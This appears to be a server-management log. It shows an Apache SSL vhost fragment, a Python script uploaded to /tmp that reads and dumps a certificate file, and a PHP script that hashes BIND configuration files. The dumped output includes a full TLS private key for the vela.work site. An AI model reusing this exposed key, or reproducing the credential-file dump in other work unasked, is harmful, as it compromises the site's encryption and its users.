    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-14 12:01:21: 

PUT: /tmp/pkp412349

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 12:01:21: 

chmod 755 /tmp/pkp412349; /tmp/pkp412349; rm /tmp/pkp412349

2026-03-14 12:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt	5313
98:f7:d0:91:ef:94:6d:4c:b3:cd:21:4d:cb:68:6a:57

-----BEGIN CERTIFICATE-----
MIIE5DCCA8ygAwIBAgISBZJVw0YVtRRu0n0GfFnwG0ReMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzE0MTEwMjQ5WhcNMjYwNjEyMTEwMjQ4WjAUMRIwEAYDVQQD
Ewl2ZWxhLndvcmswggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCokX4U
aZAeq02jf9/Whn70KpIiede4oiCZrt62+dLaR96PDApPu7GppSJye5wB9KPOq0EQ
hAlXdBKgp2+yvWrIAhMzfH5zN2lUcfXhVu0UqjkO7z0aHi9rM8bzMsGs3wEYt/5z
nB/9Dw9oezAnE8tZcYu9GNkxLKWrSgdpRHGlm5EzJfTqN6SoWkiuQ28FjJbjJQqd
dXV0jF+Y8tXOy5x2hH+K3NIzyTFYadneUJ1G5aRS3+IpHJ2BQNdM6uX1n3NlFQJL
1zy28JWdVuiDVER8vgayThkSiRHvVy3q/h4d+XXXia4v3ak61isKOrVbT6jYKAOS
t8If8Oa3IVAXodVZAgMBAAGjggIPMIICCzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUwkwGshc9eoea
xljrPl/WHUBEY90wHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3Jn
LzAUBgNVHREEDTALggl2ZWxhLndvcmswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85NS5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS
++nrKd34wwAAAZzsOO6IAAAEAwBHMEUCIBpebcOst86MlDJUdeTi/QSgdZnP+iXU
ht1GGFY86DUAAiEAuU+TW+Qw6fL6jMj9gI2HLgUXefobr3v6A3HucYZMnuwAdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZzsOO5/AAAEAwBHMEUC
IQCAV5xuy0PD/0doKToNO7dyfYBkEQryGrezb6OOCwnuZwIgDXsPnLLQjxjyKGRU
Auj53c1nApqi0PGz62bjM2eODWswDQYJKoZIhvcNAQELBQADggEBAG+yYqLEhvWc
PjucQAzefVUg3Fjxq8X3K12ry5h5MXwHXavU3sQiGb4IsqO+KcjVYEkBLzwEHBzb
6a5pUSf4VNF+tgpSSgn+SbD6+o/8v4FgMgAzf0puyqwDiFzk61CLAh4H250UBMUv
ho/N7m3ZTj5fPj2b/H/8u8cNra1cU00llWlgZg3ATJkCyWXtgC4DCZptylhTLN2u
X9Xjo0pYdVsxjx51zlhV6e7W7fbKILrtY7P4by5FrkEWX1a6ZlR/VbqQ5WF7QWkJ
zPOUWlznyX9XVNDShNYRt1IuM1d2sFB1TMRF7pq8rxf2zbn93ApM1HkFiSpKjK/N
KI6CKBKkwbE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEugIBADANBgkqhkiG9w0BAQEFAASCBKQwggSgAgEAAoIBAQCokX4UaZAeq02j
f9/Whn70KpIiede4oiCZrt62+dLaR96PDApPu7GppSJye5wB9KPOq0EQhAlXdBKg
p2+yvWrIAhMzfH5zN2lUcfXhVu0UqjkO7z0aHi9rM8bzMsGs3wEYt/5znB/9Dw9o
ezAnE8tZcYu9GNkxLKWrSgdpRHGlm5EzJfTqN6SoWkiuQ28FjJbjJQqddXV0jF+Y
8tXOy5x2hH+K3NIzyTFYadneUJ1G5aRS3+IpHJ2BQNdM6uX1n3NlFQJL1zy28JWd
VuiDVER8vgayThkSiRHvVy3q/h4d+XXXia4v3ak61isKOrVbT6jYKAOSt8If8Oa3
IVAXodVZAgMBAAECgf8UE9nUzArLNfW2LDG63aO9IDtUdTuHIj/dp8mfKASEKike
bWxvH5A/AD9tTgM3/K2freyLmfs2D2OXh40VPyDMAtmowdgSGImf8gx/yFibCk14
98XRdo932ZLr8WYb0QUFv+SIXFaMpRpMcz2gevjy0pnHmOesCzRBY7QkrRnClQi/
snSi+CTlTGv+bTVg44aGctbORI8AA0ypc1St7c1s3ESJ8I4B0dWJPUbf8TvFiiZB
AL0DlPBXqz67dij4XEipRrLfY8pFbQ1PWj0iz4MnXu+R88h11VXy9wltsRCNyLA5
iU4vdJxTaXQHonmWhsw9MMe3piKVIAAAHdHd79ECgYEA1aac8gBt3XAhTwwqOIIb
u33hJKLdP2eKuKzkcTMtFpwrPXH/nccPEDF5I2FQu/vJLbqjDG7xKYWziyx2S8fT
mnz4+VGDenFvn9RA3W3lRpBv/zNoftIiFV4GEwnihiGh28JBfYsD1sFH/Os8R4Jt
8fo5OpFggStRPFicPUAWqBECgYEAyfs8gMa8k6tyIPKALkj5LzxX/4yxRy6eck95
2YwTYD9E9SR8bZzeKjL8o1bZDOdtcfYKYrQxlg/GxezEJX3fizQlm0ikz4rX3wZo
QwMbm8g0Xpt468tsjBKI/CZX5AFAXnhshzevP0lM3oA0wFrc754DVW1mw9/mRDef
ABc54MkCgYBkMI7W2aaruiKUnCLMfw8cPGqxMILKcfbWpZU3FIWnXbLVTLlPNwL0
WA7zrXYbwXZVMHm3oesLyrwonsAWx22Ou95RpI0ghUOQUwvcCuYC0kcDCQuOtWHw
XThCA1esCOeLU6w8gE1bjyYAEBwjeKGwYOQnd/cme7bLss4J1x0I0QKBgBUUm6P1
Gglvg2Hc7XPnOdqsOaL6VCZRv0e+88C41ezdrZzIShRGowlUePmzPsQSA2I5g6v5
kpNO4jgWFgKzuHkW4DXsxwbCPvWP/aHA2UjRBGY7Y8t4V8Pmy1VFyzaIyucROoKC
VVANnnA6gUbyNMztePuZh3g6DhZgl7+yrN/BAoGAUp8TadQfhN9GdPFXz+nO09Jf
sE7omFj/bChKth8MA16vEHUNmAm0uz43Ao8vTZu0HpElaLX/C26ZG4laCVbhGFqG
AQSSp/l2/99z6L7djDd8FcKwhtEUMyBCoYlg8qTUmYq5KFLCGHNy0FwKHn9+s0cg
rtzls/JcmR3D+vWc9Pw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-14 12:01:31: Establishing a connection
2026-03-14 12:01:32: 

PUT: /tmp/pkp149052

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 12:01:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp149052; rm /tmp/pkp149052'

2026-03-14 12:01:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
